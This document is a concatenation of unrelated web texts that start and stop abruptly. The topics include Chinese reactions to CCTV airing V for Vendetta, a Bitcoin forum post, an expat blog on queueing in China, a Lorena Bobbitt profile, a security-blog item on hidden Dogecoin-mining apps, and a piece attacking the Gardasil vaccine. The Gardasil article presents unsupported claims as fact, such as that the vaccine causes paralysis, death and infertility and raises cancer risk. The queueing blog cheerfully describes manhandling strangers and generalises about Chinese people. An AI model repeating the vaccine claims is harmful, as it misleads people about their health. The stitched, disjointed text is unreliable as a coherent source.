Times. LosAngels Angel pointed out [zh] that the State Administration of Radio Film and Television (SARF) is directly responsible for the management of CCTV 6's program, that's why the gesture has political implications: 2月14日晚，大陆央视电影频道首次播放了禁片《V字别动队》，该举动引发了了网友们的热议，很多人甚至在怀疑自己的眼睛或者是电影频道的编审们睡过了头。不过，据圈内人介绍，央视电影频道名义上属央视，但该频道播出与制作分离，行政上由国家广电总局负责， On the evening of December 14, CCTV aired the censored movie, V for Vendetta for the first time. The move has triggered hot discussion among netizens and some found it unbelievable or said that the channel operators had fallen asleep [at the controls]. However, according to the TV circle, the production and management of CCTV's film channel are separate, the SARF is directly responsible for its administration. Even Global Times, the state controlled media outlet, highlighted netizens’ reactions on their microblog and attracted some critical comments: 南扉：能不能放，不是由老百姓说了算。制度不改革，老百姓只能旁观是明君还是昏君 南扉：Whether the movie can be aired or not is not decided by the people. If there is no reform within the system, people can only comment on whether the king is good or bad. 我愛壹玖捌柒：该上船的早已经上去了，谁还管你电视放什么电影，既然这样，把那部三个小时的《天安门》也放一下吧。 我愛壹玖捌柒：Those who decided to leave have already gone and no one cares what films are put on air. Why not show the three-hour long movie: Tiananmen? Cupid_Yes：干脆把局域网也开放点？ Cupid_Yes：Why don't you open up the Great Fire Wall (internet filter)? 静静的粉玫瑰：真心希望这是一个好的信号。其实中国一直是一个有深厚文化底蕴的国度，非常怀念春秋战国时期百家争鸣，各种思想家争相涌现的时代。解放思想，文化多元，这个国家才有希望，才会让脚踏实地地人们学会仰望星空。 静静的粉玫瑰：Really hope that this is a good signal. China is a nation with rich culture. I miss the the Spring and Autumn warring states period where there were so many schools of thought competing with each other. A country has hope when it has liberated thought and diverse culture. Only till then people can look at the starry sky peacefully, while staying on solid ground. Bridge bloggers were quick to pick up the news. Brendon Connelly also found the screening surprising: -488 Bitcoin / Bitcoin Discussion / Re: What's with this odd generation? on: February 14, 2010, 06:28:03 AM Quote from: theymos on February 12, 2010, 08:31:52 AM Does the sending client send more BitCoins to account for the fee (so the recipient gets what he's expecting)? Yes. Quote from: SmokeTooMuch on February 12, 2010, 01:11:09 PM why do we even need fees ? i thougt the no-fees-feature was one of the advantages of bitcoin ?! Almost all transactions are free. A transaction is over the maximum size limit if it has to add up more than 500 of the largest payments you've received to make up the amount. A transaction over the size limit can still be sent if a small fee is added. The average transaction, and anything up to 500 times bigger than average, is free. It's only when you're sending a really huge transaction that the transaction fee ever comes into play, and even then it only works out to something like 0.002% of the amount. It's not money sucked out of the system, it just goes to other nodes. If you're sad about paying the fee, you could always turn the tables and run a node yourself and maybe someday rake in a 0.44 fee yourself. Yes.Almost all transactions are free. A transaction is over the maximum size limit if it has to add up more than 500 of the largest payments you've received to make up the amount. A transaction over the size limit can still be sent if a small fee is added.The average transaction, and anything up to 500 times bigger than average, is free.It's only when you're sending a really huge transaction that the transaction fee ever comes into play, and even then it only works out to something like 0.002% of the amount. It's not money sucked out of the system, it just goes to other nodes. If you're sad about paying the fee, you could always turn the tables and run a node yourself and maybe someday rake in a 0.44 fee yourself. -If there’s one thing the British are famous for it’s our ability to politely queue for anything. If it were possible for corpses to form an orderly line you’d be able to take great photos outside of our funeral parlors. In China there’s no such thing as queuing, it’s a concept that just hasn’t caught on. In Arabia I learned the subtle art of queue jumping from the Arabs, and the apologetic face of “sorry I didn’t know” that allows you to get away with anything up to murder, but that’s wasted here too. The Chinese solution is to pretend that you are the only person in the room, and that you are the most important person in the world. You angle your elbows out, and simply shove anyone in the way aside. I’ve seen a young guy drag an elderly couple (both of whom were using walking aids) to the ground, in order to jostle for a better position at the security scanners on the subway. His mistake, as I promptly grabbed him, gave him a loud and noisy bollocking (causing him to lose face) and then dragged him to the back of the throng. I’d paid my bill in Starbucks one day, to suddenly find the fist of a Chinese man under my nose clutching his money. I’m not sure what he was expecting given that I was clearly waiting for my change, but what he got was grabbed by the arm and flung out of the door. He then came back looking very contrite and mumbling “di bu qi” (sorry in Chinese) at me. I also watched a very large German guy lose it in a bank one day after he’d waited patiently for an hour to get to the teller window when a tiny Chinese chap darted in front of him. He walked up, picked the guy by his hair, and then carried him to the end of the line. In this case it wasn’t worth it, as he then spent twenty minutes explaining to jittery armed security why he’d done it in broken Mandarin. There’s no malice in this failure to queue it’s just how it is, and the only way to cope is to learn to do it yourself or accept it whilst rolling your eyes and tutting. In my case that depends on how hung-over I am on the day. -Bike racks to be installed in downtown El Segundo Downtown El Segundo is about to become more bike-friendly. The City Council Tuesday night unanimously approved the installation of 40 bike racks at 25 spots along Main Street and Grand Avenue, with possible later expansion to Richmond Street and El Segundo Beach. Meredith Petit, the city’s recreation superintendent, told the council that the idea grew out of a request from a downtown business owner. As city staff surveyed existing bike racks, they realized that racks were few and far between – and quite old. “These bike racks are outdated, unsightly, and certainly lack consistency in the look or design,” Petit told the council. City analyst Vina Ramos was able to find and successfully apply for $9,700 in funding from Metro to pay for the racks. Installation will be undertaken in an estimated 40 to 65 days by public works staff. Petit said the advantages of the racks extend beyond the obvious convenience for bicyclists. Some of the black metal racks will be emblazoned with a city logo to better brand downtown El Segundo, while the increased accessibility of the area to bicycles – in conjunction with the South Bay Bicycle Master Plan, which will add more than 200 miles of bike trails and lanes – is expected to reduce traffic congestion. “It could encourage bicycling as an alternate mode of transportation in terms of being economically viable and environmentally responsible,” Petit said. Councilwoman Marie Fellhauer suggested possibly working the El Segundo Blue Butterfly into the logo. “Not that I’ve ever seen a Blue Butterfly,” she said. “But that is our town symbol.” Mayor Bill Fisher applauded the project, which has involved the public works, planning and building safety, and recreation and parks departments. He said downtown businesses have likewise contacted him about the lack of racks, in particular one businessman who cycles to work but can’t find a place to lock his bike. “I think it’s great,” Fisher said. “This helps our downtown businesses…and goes towards all sorts of things, health and getting folks into downtown.” -Melissa Jeltsen/The Huffington Post Lorena Bobbitt cut off her husband's penis in 1993. Now she runs a charity that helps domestic violence victims like herself. HAYMARKET, VIRGINIA ― On a recent trip to Target, Lorena Bobbitt struggled to use the computer at the digital photo center. She was trying, unsuccessfully, to put her 11-year-old daughter’s picture on a Christmas card. A young male employee came over to help. When they were done and she was typing in her first name for payment, he audibly gasped. “I thought the machine must be broken,” she recalled. “But he said, ‘I know who you are!’” These days, getting recognized by strangers happens far less often. Her long hair is now a shimmery pale blonde (as a licensed cosmetologist, she sometimes highlights it herself), and 23 years have passed since her face was plastered on the front of major newspapers and magazines across the country. Still, each new acquaintance she makes eventually puts two and two together, even when she uses her maiden name, Gallo. It is an inescapable part of her life, a fact she has accepted with remarkable poise. She grew used to the guffaws and the stares a long time ago. “All the jokes, it hurt at first,” she said. “Now, I don’t care. I laugh, too.” According to her telling of the story, in the early hours of June 23, 1993, her husband, former Marine John Wayne Bobbitt, came home drunk and raped her. He was frequently violent with her, she said, and forced her into sex whenever he liked. (John Wayne denies raping her, and he was acquitted of marital sexual assault in a separate trial in November 1993.) Something in her broke that morning, Lorena said. She grabbed a knife from the kitchen and sliced off her husband’s penis as he slept. Then she fled the apartment, tossing his penis out the car window as she drove away. (It was later recovered by police and reattached in an operation lasting nine and a half hours.) Almost overnight, the case became an international sensation. It was the original clickbait: An amputated penis. A young and pretty Latina woman. An all-American husband. Accusations of rape and assault. Love, sex and violence. The names, too, were gold. “John Wayne,” the archetypal alpha male, and the all-too-evocative “Bobbitt.” In 1993, the country was still one year away from the O.J. Simpson case and the passage of the Violence Against Women Act. There had not yet been a national conversation about domestic violence, even though the leaders of the women’s rights movement were trying hard to launch one. In an alternate version of history, the sad and horrible story of Lorena and John Wayne Bobbitt would have served as the perfect opportunity to start the dialogue. That year, an estimated 2,160 women were killed by their intimate partners, according to data collected by James Alan Fox, a criminology professor at Northeastern University. There was a desperate need to improve services for victims, to raise funds and, crucially, to change the culture that enabled abusers to beat their families in private with impunity. Instead, the story descended into a joke, with Lorena Bobbitt as the punchline. “They wanted to talk about his penis, not my story,” she said with a shrug. “Maybe it looked like a reality show from the outside, but we were not in a cast. It was real life.” JENNIFER YOUNG/AFP/Getty Images John Wayne Bobbitt arrives at the courthouse in Manassas, Virginia, for the fifth day of his wife's trial. On a recent December morning, Lorena Bobbitt, now 47, was organizing Christmas presents inside her home in a gated community in suburban Virginia, as her dog Ringo, a 12-year-old bichon with thinning white hair, scampered under foot. She lives with her longtime partner, Dave Bellinger, and their only child. As she does each year, Bobbitt had collected gifts for children in domestic violence shelters around the state. Board games, dolls and stuffed animals in various stages of gift-wrapping were scattered across a long table in her living room. Some were marked with the ages and genders of prospective recipients. For kids living in a shelter, Bobbitt explained, the holidays can be especially hard. They may not have a Christmas tree or get to share a special meal with their extended family. But at least they would have a present to open. She didn’t know about shelters back when she was married to John Wayne. It wasn’t until she went to trial that she learned there was any help available for people like her. These days, Bobbitt lives a 20-minute drive from the two-story brick courthouse in downtown Manassas, Virginia, where she stood trial all those years ago. She never left the county, let alone the country. Why would she? “I would have been recognized anywhere, and I liked it here,” she said. Bobbitt, who was born in Ecuador and raised in Caracas, Venezuela, said she fell in love with Virginia when she first visited as a teenager. After graduating from high school, she moved to the U.S. and took classes at a community college. She thought perhaps she would become a dentist, like her father. To support herself while in school, she took a job as a nanny. Later, she trained to be a manicurist and worked in a salon. As she describes it, her aspirations were simple: She wanted to marry and start a family. She met John Wayne at a bar on the Quantico Marine Corps base. Her English wasn’t great, so they danced more than they talked. He became her first boyfriend, she said, and she enjoyed the courtship. They would see movies, go out to dinner and eat ice cream at Friendly’s, always with a chaperone. She was a bit naive, she admits now. “I was 19, but I was a young 19,” she said. When she was 20, they married and moved in together. She was a virgin, she said. Not long after, she said, the violence started. First, it was just verbal abuse, ugly name-calling and yelling. Then, she said, her husband began to hit, push and strangle her. It’s worth noting that strangulation, a common and frightening tactic used by abusers, is considered a serious risk factor for future lethal violence and is now treated as a felony offense in many states. Prince William County police told ABC’s “20/20” that they responded to complaints of domestic violence at the Bobbitt residence half a dozen times, arresting John Wayne on one occasion for hitting Lorena in the face. After four years of marriage, the couple were planning to divorce. Their story ― an average tale of abuse, awfully familiar to many ― would have remained within their personal circles. Except that on the night of June 23, 1993, she cut off John Wayne’s penis. Honestly, the way I see it, it happened to all of us … all women who were abused. Lorena Bobbitt Bobbitt was charged with malicious wounding, which carried a possible 20-year sentence. During the eight-day trial in January 1994, her defense attorneys argued that she was driven into a temporary fit of insanity after suffering years of rape and physical violence by her husband. A parade of witnesses supported her story of domestic abuse, saying they had observed her with bruises on her wrists, arms, shoulders and head. Others recalled seeing him hit and shove her for minor transgressions, such as how she cooked. An educational pamphlet on rape, given to her by her neighbor shortly before the incident, was discovered on the couple’s dresser by police. She doesn’t like to dwell on the details of the battering now, but Bobbitt said she is surprised that she made it out. “I don’t know how I survived,” she said. In photos and video from that time, she is a whisper of a person, painfully thin, with dark hair framing her lean face. The scene outside the courthouse, with one radio station giving away Slice soda and cocktail wienies, was macabre. Baltimore Sun reporter Wiley Hall described it as a “grotesque carnival” and expressed shock at the crowd’s overt hostility toward Bobbitt and women in general. The public was transfixed by the case. As the cover of People magazine declared, it was “the cut felt around the world.” A Newsweek poll found that 60 percent of the country followed her trial. CNN provided live coverage to spellbound viewers, while NBC and ABC televised live reports every night. Gay Talese was there too, on assignment for The New Yorker and would later chronicle the experience in his book A Writer’s Life. Much of the media portrayed Bobbitt as a crazed, vengeful woman who had perpetrated every man’s worst nightmare. Details of the incident became fodder for late-night comedians. The public made up their own jokes and songs about the sordid circumstances. It didn’t matter there was overwhelming evidence that John Wayne was abusive, with even the prosecution’s own experts concluding that he had beaten and raped her. (In the years since, John Wayne has been arrested five times and convicted twice for domestic violence offenses involving two different women.) Kim Gandy, then-executive vice president of the National Organization for Women, recalled the media circus eclipsing any meaningful examination of violence against women. “Domestic violence organizations tried to have the conversation, women’s organizations tried to have the conversation, but the media wasn’t having any of it,” Gandy said. “I just remember feeling that there wasn’t any traction on the domestic violence part of it.” The nature of the act Bobbitt committed ― cutting off a penis ― took over the discourse completely, said Jackson Katz, an activist who was working to engage men in preventing gender-based violence at the time. “The fact that she was a victim of marital rape or domestic violence was a secondary aspect to the story,” he said. “It immediately became a story about his victimization at her hands.” The jury deliberated for just over six hours before acquitting Bobbitt by reason of temporary insanity. In a statement read aloud by the owner of the nail salon where she had worked, Bobbitt encouraged other abused women to seek help. “She did once and will again seek her American dream when she is able, and if the publicity of her abuse can help one person find freedom, then all of this is not in vain,” the statement said. Before she could go home, she was required to spend 45 days in a psychiatric hospital for evaluation. It wasn’t a nice place, she said, but it felt good to ditch the media who were tailing her every move. Finally, it was quiet. Jeffrey Markowitz/Sygma via Getty Images Lorena Bobbitt was acquitted by reason of temporary insanity in January 1994. If there’s one mantra that Bobbitt adheres to, it is “stay positive.” She is relentlessly optimistic and has an aversion to lingering long in the past. “In the beginning, I’d say, ‘Why me?’” she said. “But honestly, the way I see it, it happened to all of us … all women who were abused. I just happened to be the Lorena, but I’m not in the fight by myself. I’m in it for all women who have been victimized or will be victimized.” In the years since her acquittal, she has worked quietly to help other victims of domestic violence. Around nine years ago, she launched Lorena’s Red Wagon, a charity to help domestic violence victims and their children. When I met with her, she was busy planning a toy drive at a local restaurant. Patrons could drop off gifts for kids throughout the month of December. For one evening, a percentage of all restaurant sales would also be donated to domestic violence victims. “I realized I may as well make a good thing out of a bad thing,” she said. Bobbitt has trained to be a domestic violence advocate, occasionally helping to facilitate a 15-week educational and support group with abused women in her county. Once in a while, she appears on television to talk about her notorious case. She has made a shrewd calculation: The host may tell jokes at her expense, but she’ll get the chance to raise awareness about domestic violence. It’s a sacrifice she is willing to make. “Trust me, this skin is very strong,” she said and then added, “That doesn’t mean I’m a woman of steel or anything.” Three times a week, Bobbitt takes a Zumba class. It’s a Latin-inspired cardio-dance workout, incorporating moves from hip hop, salsa, merengue, samba and mambo, and it’s her favorite form of exercise. At the studio near her home recently, she greeted her Zumba classmates, mostly older women, with a characteristically warm smile, and they smiled back. They were all clearly regulars. For an hour, she bopped, shimmied, bounced and jived in royal blue leggings. She rolled her hips, tapped her feet. Her hair, pulled high into a ponytail, flew around her face as she spun with abandon. She was happy. “I am fine. I am very well aware of who I am. I accept myself,” Bobbitt said. “I believe I have a purpose in life. I won’t be stuck in the past.” ______ Melissa Jeltsen covers domestic violence and other issues related to women’s health, safety and security. Tips? Feedback? Send an email or follow her on Twitter. ______ -Tennessee State Rep. Rick Womick (R-Murfreesboro) is facing growing criticism for his comments, first reported by ThinkProgress, calling for a purge of all Muslims from the U.S. military. Tennessee Governor Bill Haslam (R) told The Nashville Scene, “I don’t think I would agree with Rick on that.” But when pressed to denounce Womick’s comments, as Muslim community groups have been urging, Haslam came up short, saying “I don’t know that’s my role. I would just say that on that issue I don’t agree with Rick.” Haslam might be slow to denounce Womick’s comments that Muslims should be forced out of the military, but Womick is finding few defenders in his party. The Murfreesboro Daily News Journal contacted Republican State Reps. Joe Carr, Pat Marsh, Bill Ketron, Jim Tracy and Mike Sparks for contact but none of them chose to comment on the controversy surrounding Womick. Advertisement While Republicans remain silent about Womick’s decision to denounce all Muslims in the U.S. military on Veterans Day, Muslim community groups are calling on Womick to issue an apology and for Tennessee politicians to publicly rebuke Womick’s anti-Muslim statements. Islamic Center of Tennessee educator Abdul Rahman Chao told Nashville’s News Channel 5: I think what he says has great implications, and I think he should not only retract what he said but also apologize to all people who are Muslims who are serving the military as well as all Muslims in the United States of America, because that bigotry only leads people to alienation and hate. Watch it: The Council on American Islamic-Relations (CAIR) issued a statement calling on the Tennessee General Assembly to formally rebuke Womick for “defaming all members of the military.” -Posted: March 26, 2014 by Armando Orozco Last updated: March 31, 2016 Coin mining is a key component for digital currencies like Bitcoin and Dogecoin. The mining creates new coins and helps keep them secure. Malware authors have targeted the cryptocurrencies from different angles and one way is distributing ‘miners’ to unsuspecting users. Android has had some reported occurrences of coin miners being distributed outside Google’s Play Store, but now some have managed to make their way in. Security Company Trend Micro has uncovered two apps containing code to mine Dogecoin, together having more than one million installs. The apps aren’t described as coin miners but as a song manager and shopping app. Coin mining is resource intensive, so running on a mobile device could drain a battery quickly. The developers of these apps are aware of this and built-in functionality for the mining to take place when the device is charging. Trend Micro reported these apps to Google and at this time they are still available in the Play Store. It would be interesting to hear Google’s stance on these apps, I would think coin mining is acceptable, but failing to mention the mining behaviors isn’t. One of the apps, Songs, has already updated and removed the mining code. Although they’re removed the code, I would not trust this app or developer. They could easily update again reintroducing the code. Malwarebytes Anti-Malware Mobile detects Android/Trojan.BitCoinMiner.p. Although, they don’t have the traditional Trojan behaviors, functionality is hidden from users. -How birds’ beaks evolved characteristic shapes to eat different food is a classic example of evolution by natural selection. However, new research from the Universities of Bristol, Sheffield, Madrid and York, published today in the journal Proceedings of the National Academy of Sciences, found this does not apply to all species, and that raptors in particular have not enjoyed this evolutionary flexibility. Lead author of the study, Dr Jen Bright, of the University of Sheffield, said: “Our results show that in birds of prey such as eagles and falcons, the shapes of the skulls change in a predictable way as species increase or decrease in size. The shape of the beak is linked to the shape of the skull, and these birds can’t change one without changing the other. “We think that being able to break this constraint – letting the beak evolve independently from the braincase, may have been a key factor in enabling the rapid and explosive evolution of the thousands of species of songbirds such as Darwin’s finches and Hawaiian honeycreepers”. The researchers used a method that allowed them to statistically quantify variation in the shape of predatory bird skulls and see how this shape variation compared with size, what the birds ate and how they are related to each other. “Our research does not cast doubt on Darwin’s ideas, far from it,” said project lead Professor Emily Rayfield, of the University of Bristol. “Instead it demonstrates how evolution has constrained raptor skulls to a particular range of shapes.” “Basically, if you’re a bird of prey and you’re small, you look like a tiny falcon, and if you’re a bird of prey and you’re large, your skull looks like a vulture,” said co-author Jesus Marugán-Lobón, of the Autonomous University of Madrid. The team are now keen to extend and test their ideas in other groups of birds. Project lead Dr Sam Cobb, of the University of York said: “Our results are important because they may help us identify one of the driving factors behind the outstanding diversity of bird species we see in the modern world.” Paper ‘The shapes of bird beaks are highly controlled by nondietary factors’ by Jen A. Bright, Jesús Marugán-Lobón, Samuel N. Cobb and Emily J. Rayfield in Proceedings of the National Academy of Sciences. -by María Paula Mejía, one of Colombia’s first Gardasil victims? Her name is María Paula Mejía. She is a college student. Since receiving three doses of Gardasil her health has deteriorated considerably. She now suffers from constant pain throughout her body, muscle weakness, and bleeding from the nose and gums. She has so much pain in her left knee and ankle that she must walk with a cane, and cannot continue her college education. Paula is one of the first in Colombia to report a serious new medical conditions occurring after the use of Gardasil. Lloyd Phillips, an American researcher of infectious diseases and genetics, has studied the adverse effects of Gardasil for five years. His work has revealed how Gardasil works differently in different people. He has documented related and biologically plausible mechanisms of action which could cause the many serious and life-threatening side effects which are being reported by girls and young women around the world after receiving the HPV vaccine. In Colombia we have a potential crisis of major proportions resulting from the use of Gardasil because it is “free and compulsory” by “Law of the Republic”. It is assumed that this HPV vaccine is effective when used to combat cervical cancer, which can be caused by human papilloma virus. However, this vaccine has been hotly debated internationally for allegedly being dangerous and ineffective. It is currently being administered in Colombia without obtaining informed consent from young girls and their parents as to the potential and unknown risks of use. The director of vaccination at MOH (Ministry of Health), Alejandro Garcia, says the government is “confident in the report of the World Health Organization,” which gives the go-ahead to the vaccine and assures that there is no association between the developments of illness and application of the vaccine. Lina Trujillo of the Colombian Cancer Institute says that the vaccine protects exclusively against HPV and “does not remove the possibility of having other diseases, and adolescence is the time at which diseases such as lupus and rheumatoid arthritis start to appear,” and that “the only contraindication is ‘pregnancy’ and specialists have no hesitation in recommending the vaccine.” However, neither the director of the Ministry of Health nor Lina Trujillo, from the Colombian Cancer Institute seem to be informed about how the vaccine is produced, and much less about the potential side effects of Gardasil. The World Health Organization, whose reports are practically the Bible of the Gardasil vaccination policy in Colombia, has been suggested to be complicit with the pharmaceutical industry in general and the Gardasil manufacturer in particular in urging promotion of HPV vaccination campaigns. Relying on the pharmaceutical industry to self-regulate has historically been a losing proposition for the public when companies are left to weigh profits against transparency. The María Paula Mejía case is illustrative in this regard. She had a third dose of the vaccine, even though she had experienced adverse symptoms after the first two injections. The third injection is when her serious symptoms began. Interviewed via Skype, with visible signs of pain and discomfort from the effort of sitting upright in a chair, she told us the symptoms she experienced after the third dose of vaccine. During the first 15 days after her third injection she experienced fever, vomiting, diarrhea, bone pain, joint pain, migraines, tingling, electrical “zaps” on her hip and back, and neck pain. One day she was unable to move for 2 hours, and continues to suffer from insomnia and dizziness. María Paula had every expectation that the symptoms would abate or at least become less intense, but instead they progressed in severity. At her medical appointments, during which she was subjected to more than 40 laboratory tests, the medical diagnosis was unanimous: All tests were perfectly “normal”, she had nothing … while her symptoms worsened. The symptoms she was already experiencing were followed by more severe ones, which included progressively spreading joint and bone pain, worsened neck pain, scalp pain, continuing severe hip, back, and knee pain. She began to suffer loss of strength in the left leg, wrist pain, dizziness, neuralgia throughout the body, painful spinal “zaps” as well as continuation of the “zaps” in her hips and limbs. She began to suffer difficulty breathing at certain times of day, chest pain, bleeding in the nose and gums, deviation of the left knee and left ankle, and new complications from older problems. Through all these symptoms, medical observations and tests were useless in arriving at a diagnosis until a doctor thought to ask: “Has she been recently vaccinated?” It was then that María Paula first made the association between the vaccine and her new medical condition. And she was not mistaken. She is currently overwhelmed by pain, has difficulty walking and feels her health is deteriorating more and more. Her symptoms are consistent with those being reported after Gardasil around the world. Although not all are affected equally, of all girls who are vaccinated, a percentage of them will suffer severe effects from Gardasil, which can lead to paralysis and even death. Neither Merck, the manufacturer, nor the Colombian government agrees that the vaccine is causing these severe symptoms. Both simply raise an accusatory finger at those who denounce this situation, as if the victims did not exist. The reproductive health of girls and Colombian youth’s rights are being denied to those injected with Gardasil. This is not acceptable, particularly since government support for HPV vaccines has been withdrawn in other countries, such as Japan, for example, because of concerns about serious adverse reactions including infertility. What’s more, says researcher Lloyd Phillips, if a girl who already has HPV is vaccinated, her risk of getting cancer could substantially increase. Colombian doctors do NOT know, or refuse to accept, the risks of this vaccine. Treatment for victims is nonexistent. This is what the U.S. researcher Lloyd Phillips explained to me about Gardasil: The vaccine uses an aluminum adjuvant because in 1920 a man named Glinny discovered that aluminum stimulated the immune system. A Frenchman named Ramón then discovered that if the aluminum-containing vaccine was given to a horse that had an infection, the immune system produced an even greater amount of antibodies. Phillips found that aluminum remaining in the system after Gardasil injections can cause an enhanced and extended immune response against infections and illnesses that occurred long ago. This enhanced response can cause inflammation in the body, especially in the digestive system, and can cause the immune system to wrongfully identify food proteins as foreign. The body then begins to produce histamine to combat what it perceives as a food allergy, causing stomach pain and dilating blood vessels, which can cause dizziness and excessive heart pounding upon standing up. The result, according to Phillips, is that the more inflamed a digestive tract becomes, the more its ability to absorb nutrients needed to maintain the chemical cycles in the body can become impaired, which can lead to fatal consequences. Phillips also notes that the body cannot distinguish between inflammation and fear, either of which can trigger the “fight or flight response” which forces the person to excrete magnesium, causing a deficiency. This deficiency has many symptoms, such as muscle spasms, pain, irritability, cardiac arrhythmias, headaches, brittle bones, and more. In short, says the researcher, this type of vaccine was made for people with “a genetically perfect immune system,” which does not exist in reality. Gardasil can produce all of these symptoms to varying degrees according to the genetic make-up and medical condition of the person who receives the vaccine, which can vary from hour to hour. This is something neither Merck, nor the Colombian government is telling the public. In the case of María Paula, as she will recount, when she received the first dose, she was never warned that any of the symptoms she is now suffering were possible. She says: “They told me that I could have pain in my arm for a week and that I had to wait 15 minutes before leaving the Cancer League, because some girls fainted and the next week was going to be uncomfortable, but that it was normal because of the vaccine… I received the second dose and the second dose hurt a little more … the next few months I began to experience fatigue and back pain, but I thought it was because of my daily activities … I had pain in the lower back and neck … I received the third dose on 20 January of this year and the pain was much greater than in the previous two doses … I began to experience several things … immediately after being vaccinated I began to experience dizziness, I wanted to throw up, obviously my arm really hurt … they warned me about the dizziness, and the urge to vomit and the arm pain and that the next day my arm was also going to hurt, but the following week I had fever, vomiting, diarrhea, extremely strong migraines that lasted 15 days with vomiting, and diarrhea…, I went to the doctor and was told that that there was a virus going around… one night I sat on the couch in my house and then I lay down; I started feeling really bad, very feverish, until I realized that I could not get up from the couch “… María Paula’s symptoms seem to get worse with each passing day. For the moment, the only hope she has of improving is going to the U.S. to receive treatment. In Colombia there is no protocol to treat these cases. The government says they do not exist. And what is the role of Merck, the manufacturer of the vaccine? According to Lloyd Phillips, company profits are what motivates the existence of this vaccine and its advertising campaigns, due to lawsuits against Merck as a result of VIOXX, a drug that caused 27,000 heart attacks. A single dose of Gardasil may cost about 68 cents to produce (about $ 1360 pesos), and in Colombia obtaining it privately costs the equivalent of $60 (roughly $120 thousand pesos) and in the USA up to $ 200 (about 400 thousand pesos). The Colombian government has spent $300 million on a questionable vaccine that is already starting to claim apparent victims in Colombia. Following Lloyd Phillips’ statistics, of the $300 million paid by Colombia, $ 298.98 million (nearly $299 million) was profit for Merck. Colombia is purchasing the HPV vaccine at a hugely inflated price. This vaccine can not only ruin lives, but can cost thousands of dollars to bring a single victim back to health. Families may have to spend thousands of dollars trying to restore their daughters’ health, without having prevented any cancer as promised, and instead causing a number of illnesses that did not exist before using this ‘miracle’ vaccine. We are then faced with a health emergency induced by a vaccine that has never been proven to prevent any cancer and that is ravaging the children and youth around the world, against which there have been million-dollar awards for HPV vaccine injury in the U.S. (The U.S. government has already paid more than six million dollars to victims) and the vaccine has been rejected in several countries, for example in India and Japan. But in Colombia, Gardasil will continue to claim more casualties unless an immediate halt to its “free and compulsory” status is granted. The Colombian government is exposing itself to millions of dollars in lawsuits for its actions in making this vaccine mandatory to Colombian girls and women without informing them of the grave risks already known worldwide. Does the government of Colombia intend to ignore medical consumers’ right to informed consent, despite knowing the consequences? MARIO LAMO JIMÉNEZ is a founding member of the Colombian Alliance of Writers and Journalists and coeditor of its publication “La Hojarasca“. He can be reached at admin@escritoresyperiodistas.com. -An Army veteran is being credited with saving a bald eagle by shooting it out of a tree. Jason Galvin was driving near his home in Minnesota when he saw the bird hanging upside down by a rope about 75 feet up. SEE ALSO: 75-year-old Army veteran saves 16 children from library attack After telling his wife Jackie, the couple decided something needed to be done so they started calling local officials. According to Jackie, all of them gave the same answer, the bird had been stuck there for 2 and a half days and it was dead. The Galvins believed the eagle was alive so Jackie encouraged her husband to shoot the rope the bird was tangled in. Jason had to be careful since killing a bald eagle is a crime. He borrowed a neighbor's rifle and after an hour and a half and 150 bullets, the bird was loose. Galvin, who served 2 tours in Afghanistan, didn't hit the eagle once. The couple named the bird Freedom, wrapped it in a blanket and it was taken to the Raptor Center where it's expected to make a full recovery. Mission accomplished! RELATED: Army veteran lifts a heavy stone: More from : Netflix co-founder wants you to buy a movie theater subscription Kid at College World Series has epic staring contest with camera Electric shock vaccinations may be a solution to the Zika virus -Serving up Mad Style Coat Porn: Mad Men cast members Elisabeth Moss, John Slattery, Christina Hendricks, January Jones and Jon Hamm with show creator, writer and executive producer Matthew Weiner at THE DRAPER BENCH, a semi-permanent art installation at the Time & Life Plaza, 1271 Avenue of the Americas, home of Sterling Cooper & Partners Advertising Agency in the iconic series at Time & Life Building in New York City. How ridiculously cool is that bench? How many tens of thousands of tourists are going to take their picture on that? How adorable are those socks? They all look so cute here. We don’t think we’ve ever seen the cast all look that good at the same time. There’s usually one or two total WTFs, when you’ve got Hendricks, Jones, and Moss to contend with. God bless them all, but they’ve each had a somewhat contentious relationship with the red carpet. Ironically, given the quintessentially New York flavor of the show, it’s fun and refreshing to see them all dressed up like, well, New Yorkers. Really glamorous and good-looking ones, to be sure. That is just plain awesome, but it makes us really sad, in a way. We’re looking at a long mourning period ahead of us. [Photo Credit: Getty Images, Dara Kushner/INFphoto.com, Kristin Callahan/ACE/INFphoto.com, GG/FAMEFLYNET PICTURES] -Demand For Quinoa A Boon For Bolivian Farmers Enlarge this image toggle caption Juan Karita/AP Juan Karita/AP Quinoa, once a staple of the Incas, is now increasingly popular in the U.S. It's high in protein and iron, and much of it comes from the windswept, high-altitude plains of Bolivia, known as the altiplano. The Bolivian altiplano doesn't look like good farmland. It doesn't even look fertile. Everything is covered in bleached-out scrub and rocks. Llamas graze on the barren landscape amid occasional whirls of dust. But this seemingly hostile environment has ideal conditions for quinoa: It's about 2 miles above sea level, sandy and arid. The nearby Uyuni salt flat provides the right minerals, and dung from herds of grazing llamas and sheep means good fertilizer. Lives Transformed Farmer Ernesto Choquetopa admires the soil. He says quinoa's recent popularity is changing the lives of farmers. "Before people didn't go to study," he says. "They were born, they grew up, and that was it. They went on to herd sheep and llamas. Nothing more. "Now people here, we think about doing something with our lives." Thanks to his earnings from quinoa, Choquetopa's oldest daughter is now in medical school. The dark-green quinoa plants have cone-shaped flowers, filled with the edible seeds, and look like a cross between broccoli and lupines. Once ready for harvest, they'll turn gold, deep red, even purple. Choquetopa is part of an association of organic farmers. His harvest will go to their processing plant where it is cleaned, rinsed, packaged and bought by exporters like Fabricio Nunez, general manager of Andean Naturals, which sources quinoa to stores such as Whole Foods and Trader Joe's. "Once we promoted it and the product was on the shelves, it started flying off," Nunez said. "People are still looking for quinoa and we're not able to supply as fast as they want it." Rising Cost But for all the health benefits, and the way sales support small farmers, popularity abroad is pushing up prices and gradually making it harder for Bolivians to buy. Nunez says a few years ago, 16 ounces of Andean Naturals quinoa retailed for $2 at Trader Joe's. It's now $4. And if prices keep climbing, quinoa could stop showing up in traditional soups and porridges in Bolivia. But on the street corners of downtown La Paz, quinoa remains a popular breakfast: The delicate, curly seeds are served with hot milk and sugar, as a thick drink. At about 30 cents for an 8-ounce cup, it's still cheap even by Bolivian standards. The Bolivian government is backing quinoa, supporting loans to small farmers and promoting internal consumption by giving rations to pregnant women and young children. Dr. Margarita Flores, who works for Bolivia's Ministry of Health and oversees the program, says that a drop in production would worry the government because Bolivia has obligations at home and abroad to produce quinoa, and because it's part of the country's strategy to fight malnutrition. The challenge is striking a balance. In spite of growing prosperity, many quinoa farmers are concerned about the environment. In fact, in Choquetapo's community, people who use chemical fertilizers or uproot native grasses around quinoa fields are fined, or even punished. "We want to keep the production sustainable," 